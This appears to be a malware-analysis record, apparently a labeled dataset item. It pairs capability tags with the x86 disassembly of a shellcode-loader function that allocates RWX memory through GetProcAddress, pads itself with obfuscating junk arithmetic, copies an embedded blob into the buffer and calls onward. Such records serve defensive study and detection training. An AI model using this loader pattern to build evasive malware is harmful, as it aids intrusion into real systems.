Function at 0x40398a
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x560
push esi
push edi
push 0x402e78
push dword [0x4645580]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x40
push 0x1000
push dword [0x4645594]
xor esi, esi
push esi
mov dword [0x463e890], eax
call eax
mov dword [0x463e898], eax
xor edi, edi
mov dword [ebp - 0x508], 0x5a9f9939
mov dword [ebp - 0x464], 0x2005737f
mov dword [ebp - 0x33c], 0x54ed839a
mov dword [ebp - 0x44c], 0x28b17089
mov dword [ebp - 0x3e8], 0x4e613c4e
mov dword [ebp - 0x500], 0x26b4a1ef
mov dword [ebp - 0x2ec], 0x5df0a90e
mov dword [ebp - 0x380], 0x52b8e0e8
mov dword [ebp - 0x2d0], 0x1bc40e30
mov dword [ebp - 0x424], 0xcf4d856
mov dword [ebp - 0x364], 0x2f67818a
mov dword [ebp - 0x334], 0x32214d84
mov dword [ebp - 0x560], 0x7c605821
mov dword [ebp - 0x4a8], 0x6a490e6a
mov dword [ebp - 0x4d4], 0x3091e108
mov dword [ebp - 0x474], 0x7eb4ee47
mov dword [ebp - 0x55c], 0x6ac27fda
mov dword [ebp - 0x32c], 0x446298b
mov dword [ebp - 0x3e0], 0xb60b06c
mov dword [ebp - 0x444], 0x587a6b33
mov dword [ebp - 0x328], 0x3dded440
mov dword [ebp - 0x384], 0x1227652c
mov dword [ebp - 0x3d8], 0x4ba5bda
mov dword [ebp - 0x324], 0x737be082
mov dword [ebp - 0x53c], 0x50cbc9cb
mov dword [ebp - 0x460], 0x78c85680
mov dword [ebp - 0x31c], 0x7a03dc3b
mov dword [ebp - 0x320], 0x483b6f9c
mov dword [ebp - 0x318], 0x559b1cff
mov dword [ebp - 0x378], 0x265fa6c8
mov dword [ebp - 0x2e4], 0x6787fd83
mov dword [ebp - 0x558], 0x646c085c
mov dword [ebp - 0x458], 0x2f2cb00a
mov dword [ebp - 0x3e4], 0x4d6d7525
mov dword [ebp - 0x43c], 0x2e2db44e
mov dword [ebp - 0x450], 0x615d6e08
mov dword [ebp - 0x428], 0x154aab74
mov dword [ebp - 0x35c], 0x75bb0d7d
mov dword [ebp - 0x3d0], 0x6cf45601
mov dword [ebp - 0x54c], 0x547781b7
mov dword [ebp - 0x4f8], 0x2e65414a
mov dword [ebp - 0x544], 0x1d862b5d
mov dword [ebp - 0x550], 0x5b414a0b
mov dword [ebp - 0x39c], 0x2027e399
mov dword [ebp - 0x45c], 0x5423fcbc
mov dword [ebp - 0x3c8], 0x71e42d58
mov dword [ebp - 0x4a0], 0x28e5bff7
mov dword [ebp - 0x3c0], 0x7d358011
mov dword [ebp - 0x370], 0x55d66823
mov dword [ebp - 0x310], 0x11c53f30
mov dword [ebp - 0x4f0], 0x6c27265a
mov dword [ebp - 0x368], 0x638fabe5
mov dword [ebp - 0x548], 0xfa972dc
mov dword [ebp - 0x554], 0x585cef59
mov dword [ebp - 0x314], 0x5f87b0dd
mov dword [ebp - 0x3ec], 0x781f8357
mov dword [ebp - 0x2c8], 0x407cc191
mov dword [ebp - 0x3dc], 0x71387130
mov dword [ebp - 0x420], 0x68d96b25
mov dword [ebp - 0x418], 0x44f72b4f
mov dword [ebp - 0x4e8], 0xed64d7a
mov dword [ebp - 0x49c], 0x12cb7a2e
mov dword [ebp - 0x4cc], 0x6fa206a2
mov dword [ebp - 0x30c], 0x6cf7f6db
mov dword [ebp - 0x448], 0x6f82a0b5
mov dword [ebp - 0x540], 0x7c3ade2e
mov dword [ebp - 0x414], 0xaa70197
mov dword [ebp - 0x354], 0x278caf26
mov dword [ebp - 0x4dc], 0x1f8218de
mov dword [ebp - 0x4e0], 0xf520107
mov dword [ebp - 0x498], 0x78d20988
mov dword [ebp - 0x434], 0x7afd1ba
mov dword [ebp - 0x47c], 0x2c4a94bf
mov dword [ebp - 0x3d4], 0x37265bf9
mov dword [ebp - 0x360], 0x7f0691dc
mov dword [ebp - 0x490], 0x573b975
mov dword [ebp - 0x308], 0x5c72ad7c
mov dword [ebp - 0x394], 0x558e020
mov dword [ebp - 0x50c], 0x6dca8d93
mov dword [ebp - 0x4fc], 0x3b244f69
mov dword [ebp - 0x300], 0x1468c94e
mov dword [ebp - 0x358], 0x5ab7c260
mov dword [ebp - 0x410], 0x20e98555
mov dword [ebp - 0x408], 0x130f3a77
mov dword [ebp - 0x2f8], 0x3a5f5ee8
mov dword [ebp - 0x4d8], 0x21e60348
mov dword [ebp - 0x2dc], 0x40f8ba31
mov dword [ebp - 0x3cc], 0x679a298a
mov dword [ebp - 0x4d0], 0x5a7e8c2e
mov dword [ebp - 0x494], 0xc4ba0ce
mov dword [ebp - 0x41c], 0x6825863d
mov dword [ebp - 0x4ec], 0x1d198b17
mov dword [ebp - 0x34c], 0x75c77596
mov dword [ebp - 0x3b8], 0x4426cf7d
mov dword [ebp - 0x4c8], 0x31322a4c
mov dword [ebp - 0x3b0], 0x4e50df79
mov dword [ebp - 0x524], 0x3d2e523d
mov dword [ebp - 0x40c], 0x636b67e1
mov dword [ebp - 0x304], 0xa4eaf4d
mov dword [ebp - 0x4b4], 0x47d33ede
mov dword [ebp - 0x3c4], 0x838c246
mov dword [ebp - 0x454], 0x475aeb05
mov dword [ebp - 0x4c0], 0x6e804802
mov dword [ebp - 0x440], 0x2356143b
mov dword [ebp - 0x52c], 0x3284b288
mov dword [ebp - 0x37c], 0x215ddd80
mov dword [ebp - 0x3bc], 0x43001d08
mov dword [ebp - 0x538], 0x5dd4d372
mov dword [ebp - 0x404], 0x1f5fee15
mov dword [ebp - 0x38c], 0x4aa8a2c2
mov dword [ebp - 0x2d4], 0x5d2b45cb
mov dword [ebp - 0x514], 0x13a26bf8
mov dword [ebp - 0x534], 0x729131e9
mov dword [ebp - 0x530], 0x481267f
mov dword [ebp - 0x48c], 0x283f2546
mov dword [ebp - 0x4b8], 0x20aaa540
mov dword [ebp - 0x3fc], 0x62aa96f3
mov dword [ebp - 0x46c], 0x49a92fd9
mov dword [ebp - 0x350], 0x22d7fb63
mov dword [ebp - 0x2f0], 0x390293cf
mov dword [ebp - 0x2e8], 0x637c4154
mov dword [ebp - 0x2fc], 0x95e5a37
mov dword [ebp - 0x348], 0x7b5a55bc
mov dword [ebp - 0x4bc], 0x37b3d9f2
mov dword [ebp - 0x528], 0x3d6779fa
mov dword [ebp - 0x2e0], 0x45476ad4
mov dword [ebp - 0x488], 0x7845e460
mov dword [ebp - 0x520], 0x38b74787
mov dword [ebp - 0x3a8], 0x888b796
mov dword [ebp - 0x4ac], 0x5d13a243
mov dword [ebp - 0x2cc], 0x731062d6
mov dword [ebp - 0x3b4], 0xabb7b5b
mov dword [ebp - 0x400], 0x4ba8a95a
mov dword [ebp - 0x3a0], 0x57424970
mov dword [ebp - 0x398], 0x691b126a
mov dword [ebp - 0x374], 0x3727823c
mov dword [ebp - 0x4e4], 0x22a62b70
mov dword [ebp - 0x4a4], 0x5d7bb0f
mov dword [ebp - 0x4f4], 0x3e275197
mov dword [ebp - 0x3ac], 0x467f9773
mov dword [ebp - 0x390], 0x79e319da
mov dword [ebp - 0x518], 0x6e53c263
mov dword [ebp - 0x3f4], 0xf173702
mov dword [ebp - 0x510], 0x14f532b7
mov dword [ebp - 0x2c4], 0x42a0674a
mov dword [ebp - 0x344], 0x421363fc
mov dword [ebp - 0x42c], 0x43ffb8eb
mov dword [ebp - 0x2f4], 0x45639c1d
mov dword [ebp - 0x340], 0x6f23b641
mov dword [ebp - 0x51c], 0x430202cb
mov dword [ebp - 0x480], 0x27a321bc
mov dword [ebp - 0x388], 0x7255fa29
mov dword [ebp - 0x338], 0x4ec0e849
mov dword [ebp - 0x478], 0x21ef19b5
mov dword [ebp - 0x4b0], 0x7dd761a7
mov dword [ebp - 0x36c], 0x6d45c4bd
mov dword [ebp - 0x504], 0x735845b8
mov dword [ebp - 0x438], 0x4de88cff
mov dword [ebp - 0x330], 0x78c31304
mov dword [ebp - 0x484], 0x7ae7b269
mov dword [ebp - 0x470], 0x30490ede
mov dword [ebp - 0x468], 0x28fa1153
mov dword [ebp - 0x4c4], 0x508b4c55
mov dword [ebp - 0x430], 0x435fa442
mov dword [ebp - 0x3f8], 0x2292a639
mov dword [ebp - 0x3a4], 0x49bd8c86
mov dword [ebp - 0x3f0], 0x683e0156
mov dword [ebp - 0x2d8], 0x26232f86
sub dword [ebp - 0x508], 0x634f73c1
sub dword [ebp - 0x464], 0x439d049
sub dword [ebp - 0x508], 0x553aa04a
mov eax, 0x6c3d3e87
mul dword [ebp - 0x3e8]
mov eax, dword [ebp - 0x3e8]
add dword [ebp - 0x464], 0x3e64d501
sub dword [ebp - 0x508], 0x5b02dfb
add dword [ebp - 0x44c], 0x7a2e9b9f
sub dword [ebp - 0x464], 0x63e9f9c4
sub dword [ebp - 0x33c], 0x10bc6093
mov eax, 0x1b97c8d7
mul dword [ebp - 0x33c]
mov eax, dword [ebp - 0x33c]
add dword [ebp - 0x3e8], 0x464a0934
mov eax, 0x53954930
mul dword [ebp - 0x500]
mov eax, dword [ebp - 0x500]
add dword [ebp - 0x508], 0x64b1a700
add dword [ebp - 0x2ec], 0x4212ce79
add dword [ebp - 0x44c], 0x56660a07
add dword [ebp - 0x508], 0x52f6e353
sub dword [ebp - 0x44c], 0x5ccde698
sub dword [ebp - 0x3e8], 0x368139c9
sub dword [ebp - 0x464], 0x1bc820e0
sub dword [ebp - 0x44c], 0x63bef1e0
mov eax, 0x4ae79aad
mul dword [ebp - 0x2ec]
mov eax, dword [ebp - 0x2ec]
add dword [ebp - 0x508], 0x67b7ba72
mov eax, 0x2cbe57c3
mul dword [ebp - 0x3e8]
mov eax, dword [ebp - 0x3e8]
add dword [ebp - 0x3e8], 0x1483e835
sub dword [ebp - 0x464], 0x2969fe8c
add dword [ebp - 0x44c], 0x3bde8f07
add dword [ebp - 0x33c], 0x54067247
add dword [ebp - 0x2ec], 0x5715b1b3
mov eax, 0xb884054
mul dword [ebp - 0x380]
mov eax, dword [ebp - 0x380]
sub dword [ebp - 0x44c], 0x76ac158a
add dword [ebp - 0x33c], 0x72d37189
sub dword [ebp - 0x508], 0x5e427ef1
add dword [ebp - 0x508], 0x108439ef
sub dword [ebp - 0x2ec], 0x40d85a6f
mov eax, 0x3d813ef1
mul dword [ebp - 0x33c]
mov eax, dword [ebp - 0x33c]
sub dword [ebp - 0x44c], 0x48b67972
mov eax, 0x63a20cca
mul dword [ebp - 0x33c]
mov eax, dword [ebp - 0x33c]
sub dword [ebp - 0x44c], 0x77205e6e
sub dword [ebp - 0x424], 0x7e8324df
mov eax, 0x496c1dcc
mul dword [ebp - 0x2ec]
mov eax, dword [ebp - 0x2ec]
sub dword [ebp - 0x33c], 0x7fc7589
sub dword [ebp - 0x2d0], 0x709edc87
mov eax, 0x5f8e408c
mul dword [ebp - 0x4a8]
mov eax, dword [ebp - 0x4a8]
sub dword [ebp - 0x3e8], 0x467d01c6
mov eax, 0x4f54bf53
mul dword [ebp - 0x364]
mov eax, dword [ebp - 0x364]
mov eax, 0x7315dbf2
mul dword [ebp - 0x2ec]
mov eax, dword [ebp - 0x2ec]
mov eax, 0xee0dbbe
mul dword [ebp - 0x4d4]
mov eax, dword [ebp - 0x4d4]
mov eax, 0x75b9e397
mul dword [ebp - 0x334]
mov eax, dword [ebp - 0x334]
sub dword [ebp - 0x424], 0x5e55f18a
sub dword [ebp - 0x364], 0x377880eb
sub dword [ebp - 0x3e8], 0x46b5302d
sub dword [ebp - 0x33c], 0x332975ce
mov eax, 0x1d445e2f
mul dword [ebp - 0x334]
mov eax, dword [ebp - 0x334]
sub dword [ebp - 0x2d0], 0x72794e6f
mov eax, 0x1dfebc62
mul dword [ebp - 0x464]
mov eax, dword [ebp - 0x464]
sub dword [ebp - 0x33c], 0xb6fab2a
add dword [ebp - 0x444], 0x4b04944c
mov eax, 0x5f40bffb
mul dword [ebp - 0x44c]
mov eax, dword [ebp - 0x44c]
add dword [ebp - 0x4d4], 0x49af201a
mov eax, 0x7a71047b
mul dword [ebp - 0x4d4]
mov eax, dword [ebp - 0x4d4]
sub dword [ebp - 0x560], 0xb5ba4d8
add dword [ebp - 0x508], 0x13cb481f
sub dword [ebp - 0x500], 0x34cfe13d
add dword [ebp - 0x2d0], 0x9516d35
add dword [ebp - 0x364], 0x1eea1735
add dword [ebp - 0x33c], 0x48e9eda6
sub dword [ebp - 0x500], 0xd58a381
add dword [ebp - 0x384], 0x56d39478
mov eax, 0x71b56202
mul dword [ebp - 0x4a8]
mov eax, dword [ebp - 0x4a8]
add dword [ebp - 0x4d4], 0x5438305b
sub dword [ebp - 0x334], 0x6edd1305
mov eax, 0x565569cd
mul dword [ebp - 0x500]
mov eax, dword [ebp - 0x500]
mov eax, 0x2394f7df
mul dword [ebp - 0x464]
mov eax, dword [ebp - 0x464]
sub dword [ebp - 0x328], 0x1c06c5db
add dword [ebp - 0x44c], 0x6b8dc39e
add dword [ebp - 0x474], 0x3021e560
sub dword [ebp - 0x444], 0x2013c6b4
mov eax, 0x43e48f3e
mul dword [ebp - 0x32c]
mov eax, dword [ebp - 0x32c]
mov eax, 0x7425800b
mul dword [ebp - 0x324]
mov eax, dword [ebp - 0x324]
add dword [ebp - 0x500], 0x16c6567d
mov eax, 0x1505372
mul dword [ebp - 0x444]
mov eax, dword [ebp - 0x444]
sub dword [ebp - 0x444], 0x5e32be32
add dword [ebp - 0x334], 0x53c6fc3f
add dword [ebp - 0x55c], 0x7ad296b8
add dword [ebp - 0x324], 0x63bb69ce
mov eax, 0x18ab9d22
mul dword [ebp - 0x508]
mov eax, dword [ebp - 0x508]
mov eax, 0x19cc0199
mul dword [ebp - 0x44c]
mov eax, dword [ebp - 0x44c]
sub dword [ebp - 0x378], 0x35419f9
sub dword [ebp - 0x31c], 0xa989883
mov eax, 0x56c9a8ed
mul dword [ebp - 0x2e4]
mov eax, dword [ebp - 0x2e4]
add dword [ebp - 0x33c], 0x5f184670
add dword [ebp - 0x474], 0x2bb81875
add dword [ebp - 0x32c], 0x4276409a
sub dword [ebp - 0x33c], 0x70065834
add dword [ebp - 0x364], 0xb59529a
sub dword [ebp - 0x324], 0x70ee16cc
sub dword [ebp - 0x31c], 0x63a3345b
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_GetCalendarInfoW]
cmp edi, 0x14d24f
jg 0x404509
inc edi
mov eax, edi
cdq
cmp edx, 0x6d
jl 0x4039c4
jg 0x404509
cmp eax, 0xd69e5f85
jb 0x4039c4
mov eax, dword [0x431524]
mov dword [0x46b36ec], eax
mov dword [ebp - 0xd8], 0x4a25f3a
mov dword [ebp - 0xd0], 0x5f5530bd
mov dword [ebp - 0x250], 0x47251fbf
mov dword [ebp - 0x13c], 0x1700b6bd
mov dword [ebp - 0x140], 0x17b451ce
mov dword [ebp - 0xc8], 0x5a69cc98
mov dword [ebp - 0x208], 0x263fa579
mov dword [ebp - 0x60], 0x38707a86
mov dword [ebp - 0x2c], 0x146bd94e
mov dword [ebp - 0x200], 0x2719cef
mov dword [ebp - 0x248], 0x5bd47faa
mov dword [ebp - 0x1dc], 0x14fc6dd8
mov dword [ebp - 0xf4], 0x3b5ab2db
mov dword [ebp - 0x1fc], 0x3e1ff617
mov dword [ebp - 0x134], 0x7a9aef9d
mov dword [ebp - 0x2c0], 0x4e1a976a
mov dword [ebp - 0x138], 0x6f18af81
mov dword [ebp - 0x1c4], 0x51722c2
mov dword [ebp - 0x22c], 0x7b311788
mov dword [ebp - 0x24], 0x218d970f
mov dword [ebp - 0x94], 0x2c0c2f07
mov dword [ebp - 0xc4], 0x37b5bbc5
mov dword [ebp - 0xc0], 0xb8cd3d9
mov dword [ebp - 0x20c], 0x2a1068e0
mov dword [ebp - 0x1f8], 0x6f157c13
mov dword [ebp - 0x240], 0x13bc955a
mov dword [ebp - 0x1f0], 0x4d0ec02f
mov dword [ebp - 0x2bc], 0x6be85f8
mov dword [ebp - 0x130], 0x649d9682
mov dword [ebp - 0x128], 0x7e9929a0
mov dword [ebp - 0x224], 0x666676e6
mov dword [ebp - 0x1e8], 0x1903df9f
mov dword [ebp - 0x120], 0x77d6e5d8
mov dword [ebp - 0x1e0], 0x18611385
mov dword [ebp - 0xbc], 0x4f04e104
mov dword [ebp - 0x25c], 0x65fddc59
mov dword [ebp - 0x238], 0x599dc2f9
mov dword [ebp - 0x190], 0x3efd5507
mov dword [ebp - 0x118], 0x344eae28
mov dword [ebp - 0x20], 0x10d18677
mov dword [ebp - 0x110], 0x34fe7e0f
mov dword [ebp - 0x18], 0x61abb4c4
mov dword [ebp - 0x230], 0x40928745
mov dword [ebp - 0x1bc], 0x14db47f7
mov dword [ebp - 0x154], 0xb3e0e97
mov dword [ebp - 0x254], 0x366e66ee
mov dword [ebp - 0x24c], 0x5dbc40d4
mov dword [ebp - 0x58], 0x573f26a2
mov dword [ebp - 0xb4], 0x5f01e0b8
mov dword [ebp - 0xb8], 0xf3e1631
mov dword [ebp - 0x23c], 0x233bd6f2
mov dword [ebp - 0x12c], 0x8824d09
mov dword [ebp - 0x2b8], 0x3eb0f71c
mov dword [ebp - 0x50], 0x4bbca550
mov dword [ebp - 0x188], 0x5d223b70
mov dword [ebp - 0x234], 0x25345aaa
mov dword [ebp - 0x1c], 0x2b5c626f
mov dword [ebp - 0x8c], 0x14535dd
mov dword [ebp - 0x10], 0x6fbe85d3
mov dword [ebp - 0x48], 0x3d8f946d
mov dword [ebp - 0x108], 0x6383c31e
mov dword [ebp - 0x1a4], 0x3fee6f70
mov dword [ebp - 0x2b0], 0x21713cf6
mov dword [ebp - 0xb0], 0x18830197
mov dword [ebp - 0x1f4], 0x4865cf77
mov dword [ebp - 0x100], 0x39568152
mov dword [ebp - 0x124], 0x5fbab620
mov dword [ebp - 0x180], 0x51694b40
mov dword [ebp - 0x10c], 0x3e2ba7
mov dword [ebp - 0x178], 0x4696af7b
mov dword [ebp - 0x28c], 0x67083a9
mov dword [ebp - 0x1e4], 0x4d584f72
mov dword [ebp - 0x6c], 0x662aa957
mov dword [ebp - 0x4c], 0x20236672
mov dword [ebp - 0x11c], 0x4e37edb8
mov dword [ebp - 0xa8], 0x2dbea477
mov dword [ebp - 0x264], 0x429f7140
mov dword [ebp - 0x1d8], 0x71069013
mov dword [ebp - 0x40], 0x2485f6e0
mov dword [ebp - 0x170], 0x77478184
mov dword [ebp - 0xec], 0x37b02ca8
mov dword [ebp - 0x84], 0x69d54510
mov dword [ebp - 0xa0], 0x1ffa54a
mov dword [ebp - 0x168], 0x1b7561e0
mov dword [ebp - 0x98], 0x4e9281a2
mov dword [ebp - 0x14c], 0x46bc9f8
mov dword [ebp - 0x194], 0x2b907e1e
mov dword [ebp - 0x228], 0x44075b5f
mov dword [ebp - 0x160], 0x2715c707
mov dword [ebp - 8], 0x55c3f79
mov dword [ebp - 0x184], 0x582e14a4
mov dword [ebp - 0x14], 0x29d84bc7
mov dword [ebp - 0x90], 0xdfc4c71
mov dword [ebp - 0x38], 0x37467419
mov dword [ebp - 0x30], 0x784fa6d1
mov dword [ebp - 0xf8], 0x32b0d52d
mov dword [ebp - 0x2a8], 0x56d15639
mov dword [ebp - 0x1d0], 0x2801d85c
mov dword [ebp - 0x88], 0x89e5439
mov dword [ebp - 0x28], 0x3ecb0483
mov dword [ebp - 0x80], 0x36150c75
mov dword [ebp - 0x44], 0x4ca2ac6c
mov dword [ebp - 0xac], 0x7d79eca4
mov dword [ebp - 0x1b4], 0x4cf1bf0d
mov dword [ebp - 4], 0x6bd872a1
mov dword [ebp - 0x2ac], 0x728ae62
mov dword [ebp - 0xf0], 0x2c848559
mov dword [ebp - 0x220], 0x27b029af
mov dword [ebp - 0x174], 0x5fe9164
mov dword [ebp - 0x298], 0x64aa9d73
mov dword [ebp - 0x158], 0xd86d7b0
mov dword [ebp - 0x64], 0x679f866e
mov dword [ebp - 0x3c], 0x29bc9666
mov dword [ebp - 0x26c], 0x75718412
mov dword [ebp - 0x1c8], 0x666882c7
mov dword [ebp - 0xa4], 0x143092cb
mov dword [ebp - 0xe8], 0x5ecd5c2b
mov dword [ebp - 0xc], 0x36607033
mov dword [ebp - 0x1d4], 0x768a1920
mov dword [ebp - 0x104], 0x404aacc6
mov dword [ebp - 0x29c], 0x54d7df25
mov dword [ebp - 0x7c], 0x6b21bd82
mov dword [ebp - 0x290], 0x103a8569
mov dword [ebp - 0xe4], 0x5c10144f
mov dword [ebp - 0x204], 0x5a09a830
mov dword [ebp - 0x17c], 0x45311baa
mov dword [ebp - 0x1ec], 0x58a11275
mov dword [ebp - 0x284], 0x7b6011bf
mov dword [ebp - 0x16c], 0xe62888c
mov dword [ebp - 0xdc], 0x3f454e3
mov dword [ebp - 0x214], 0x2f82f825
mov dword [ebp - 0x1cc], 0x3f962789
mov dword [ebp - 0x27c], 0x26c14ebc
mov dword [ebp - 0x288], 0x4a3487e
mov dword [ebp - 0x164], 0x27aea30e
mov dword [ebp - 0x34], 0xd214bc1
mov dword [ebp - 0x294], 0x58f7bb5d
mov dword [ebp - 0x218], 0x654b7666
mov dword [ebp - 0x2a4], 0x2a4aa0ac
mov dword [ebp - 0x1c0], 0x1e4448a5
mov dword [ebp - 0x78], 0x127e0fd7
mov dword [ebp - 0x19c], 0x7404425b
mov dword [ebp - 0x1b8], 0x564064a2
mov dword [ebp - 0x114], 0x675d32e6
mov dword [ebp - 0x1b0], 0x1c1bca33
mov dword [ebp - 0x274], 0x2b652bc5
mov dword [ebp - 0x1a8], 0x78fdcdc9
mov dword [ebp - 0x1a0], 0x25014aac
mov dword [ebp - 0x9c], 0x4bbff6d5
mov dword [ebp - 0x198], 0x4e38a8d0
mov dword [ebp - 0x280], 0x4d799f05
mov dword [ebp - 0x144], 0x75b34f8
mov dword [ebp - 0x5c], 0x471a7a6b
mov dword [ebp - 0x2a0], 0x1bb360ad
mov dword [ebp - 0x21c], 0x6a3e8e40
mov dword [ebp - 0x150], 0x2efadffa
mov dword [ebp - 0x1ac], 0x725c37d0
mov dword [ebp - 0x70], 0xcb972de
mov dword [ebp - 0x210], 0x262d92e9
mov dword [ebp - 0x278], 0x5317ec6e
mov dword [ebp - 0x68], 0x4f38b5e2
mov dword [ebp - 0xfc], 0x3caf5f6d
mov dword [ebp - 0xe0], 0x467a864f
mov dword [ebp - 0x270], 0x15ac0076
mov dword [ebp - 0x268], 0x46ba386c
mov dword [ebp - 0x2b4], 0x6205c7c6
mov dword [ebp - 0x260], 0x63e880f6
mov dword [ebp - 0x148], 0x1a34d7c7
mov dword [ebp - 0xd4], 0x1119a210
mov dword [ebp - 0x18c], 0x3752a4a4
mov dword [ebp - 0x15c], 0x7d158ab0
mov dword [ebp - 0x258], 0x19d769f2
mov dword [ebp - 0x74], 0x71e08a7f
mov dword [ebp - 0x244], 0x5bab4b3f
mov dword [ebp - 0x54], 0x4d4fab03
mov dword [ebp - 0xcc], 0x1470ce6f
add dword [ebp - 0xd8], 0x7e537124
mov eax, 0x39a64c52
mul dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
add dword [ebp - 0xd8], 0x10976774
mov eax, 0x3a0946ad
mul dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
mov eax, 0x7d0ffd72
mul dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
sub dword [ebp - 0xd8], 0x4d43c425
sub dword [ebp - 0xd8], 0x5a3c9e62
mov eax, 0x33642ad1
mul dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
add dword [ebp - 0xd0], 0x15f270de
sub dword [ebp - 0xd0], 0x561bcc0b
mov eax, 0x5980d5aa
mul dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
add dword [ebp - 0xd0], 0x423e6c0f
add dword [ebp - 0xd0], 0xd0e0d72
add dword [ebp - 0xd0], 0x2fcddaad
mov eax, 0x66ee91b6
mul dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
sub dword [ebp - 0xd0], 0x5d7d8a4a
mov eax, 0x7585f22f
mul dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
mov eax, 0x28aff769
mul dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
sub dword [ebp - 0xd0], 0x5b07946f
add dword [ebp - 0x13c], 0xa045f57
add dword [ebp - 0x250], 0x145b6b56
mov eax, 0x5b41f5b3
mul dword [ebp - 0x250]
mov eax, dword [ebp - 0x250]
sub dword [ebp - 0xd0], 0x6f26efbb
mov eax, 0x42609e05
mul dword [ebp - 0x13c]
mov eax, dword [ebp - 0x13c]
mov eax, 0x349183a1
mul dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
add dword [ebp - 0xc8], 0x3a7df76
mov eax, 0x3d52fcc4
mul dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
sub dword [ebp - 0xd8], 0x71f322ce
add dword [ebp - 0x250], 0x503724de
add dword [ebp - 0x13c], 0x5429d6fd
sub dword [ebp - 0x208], 0x3e6b46ba
mov eax, 0x12800acc
mul dword [ebp - 0x13c]
mov eax, dword [ebp - 0x13c]
add dword [ebp - 0x140], 0x111ec6ed
sub dword [ebp - 0x1dc], 0x32fd2e61
add dword [ebp - 0x208], 0x58bbe413
add dword [ebp - 0x60], 0x24cf2d83
sub dword [ebp - 0x60], 0x16a847a
sub dword [ebp - 0xd0], 0x5b67980
add dword [ebp - 0xd0], 0x9abbf7d
add dword [ebp - 0x2c], 0x676692b4
add dword [ebp - 0x140], 0x49e0854f
sub dword [ebp - 0x2c0], 0x31e3745d
add dword [ebp - 0xf4], 0x60ef302e
sub dword [ebp - 0x134], 0x6cb02334
sub dword [ebp - 0xf4], 0x78d555e8
mov eax, 0x300d9bd7
mul dword [ebp - 0x134]
mov eax, dword [ebp - 0x134]
add dword [ebp - 0x248], 0x3455736a
add dword [ebp - 0x1fc], 0x55735058
add dword [ebp - 0x2c0], 0x66d06650
mov eax, 0x52cac6da
mul dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
add dword [ebp - 0x13c], 0x1b416dca
sub dword [ebp - 0xc4], 0x7073ca
sub dword [ebp - 0x22c], 0x7418a312
mov eax, 0x28777ae1
mul dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, 0x44f3b04c
mul dword [ebp - 0x1dc]
mov eax, dword [ebp - 0x1dc]
mov eax, 0x79a73e4e
mul dword [ebp - 0x1f8]
mov eax, dword [ebp - 0x1f8]
mov eax, 0x7b597a99
mul dword [ebp - 0x20c]
mov eax, dword [ebp - 0x20c]
sub dword [ebp - 0x138], 0x140269d4
mov eax, 0x64faa0bf
mul dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
sub dword [ebp - 0x2c0], 0x721f8580
sub dword [ebp - 0xd8], 0x4874fac3
add dword [ebp - 0x250], 0x15545ece
add dword [ebp - 0x1c4], 0x7b7fa9f
mov eax, 0x6a2004ae
mul dword [ebp - 0x248]
mov eax, dword [ebp - 0x248]
sub dword [ebp - 0xf4], 0x94d016d
add dword [ebp - 0x208], 0x18420760
sub dword [ebp - 0x1f0], 0x210c2039
add dword [ebp - 0x120], 0x1dc04c72
sub dword [ebp - 0x240], 0x39b29b84
sub dword [ebp - 0x1f0], 0x46bf88c9
sub dword [ebp - 0x2c], 0x3b5fc53c
sub dword [ebp - 0x24], 0x3506125d
add dword [ebp - 0x208], 0x6be82721
add dword [ebp - 0x1f8], 0x5b2f24fd
mov eax, 0x11f9d769
mul dword [ebp - 0x130]
mov eax, dword [ebp - 0x130]
add dword [ebp - 0x130], 0x348c1b13
mov eax, 0x31f0a0fb
mul dword [ebp - 0x120]
mov eax, dword [ebp - 0x120]
sub dword [ebp - 0x138], 0x5e2b9616
sub dword [ebp - 0x94], 0x6b362064
add dword [ebp - 0x1fc], 0x1b23d468
add dword [ebp - 0x2c0], 0x1bd29e4c
sub dword [ebp - 0xc0], 0x9c35997
sub dword [ebp - 0xd0], 0x6b9b5646
mov eax, 0x2fda8660
mul dword [ebp - 0x134]
mov eax, dword [ebp - 0x134]
sub dword [ebp - 0x118], 0x7b81acae
add dword [ebp - 0xc8], 0x7b6e0ab7
sub dword [ebp - 0x254], 0x7f8a8b04
sub dword [ebp - 0x1dc], 0x405c83a1
mov eax, 0x52710d6d
mul dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
add dword [ebp - 0x18], 0xa2324f8
sub dword [ebp - 0x138], 0x6618e612
sub dword [ebp - 0x2c], 0x1959164c
add dword [ebp - 0x134], 0x7572c4fa
mov eax, 0x3b537fce
mul dword [ebp - 0x20c]
mov eax, dword [ebp - 0x20c]
sub dword [ebp - 0x254], 0x38dd8f37
add dword [ebp - 0xc0], 0x7d6d9e11
add dword [ebp - 0x254], 0x7ab45d58
mov eax, 0xd15f45b
mul dword [ebp - 0x254]
mov eax, dword [ebp - 0x254]
sub dword [ebp - 0x120], 0x390c50f9
add dword [ebp - 0x130], 0x4bdee8c1
mov eax, 0x3604a955
mul dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
sub dword [ebp - 0x2c0], 0x510354df
mov eax, 0x1efabfd6
mul dword [ebp - 0x1f0]
mov eax, dword [ebp - 0x1f0]
mov eax, 0x17266829
mul dword [ebp - 0x230]
mov eax, dword [ebp - 0x230]
mov eax, 0x53f58d01
mul dword [ebp - 0x1f0]
mov ecx, dword [0x4645594]
xor eax, eax
cmp ecx, esi
jbe 0x405086
mov edx, dword [0x46b36ec]
mov dl, byte [edx + eax + 0xb2d3b]
mov edi, dword [0x463e898]
mov byte [eax + edi], dl
inc eax
cmp eax, ecx
jb 0x40506b
call fcn.004038f1
push 0x7b
pop edi
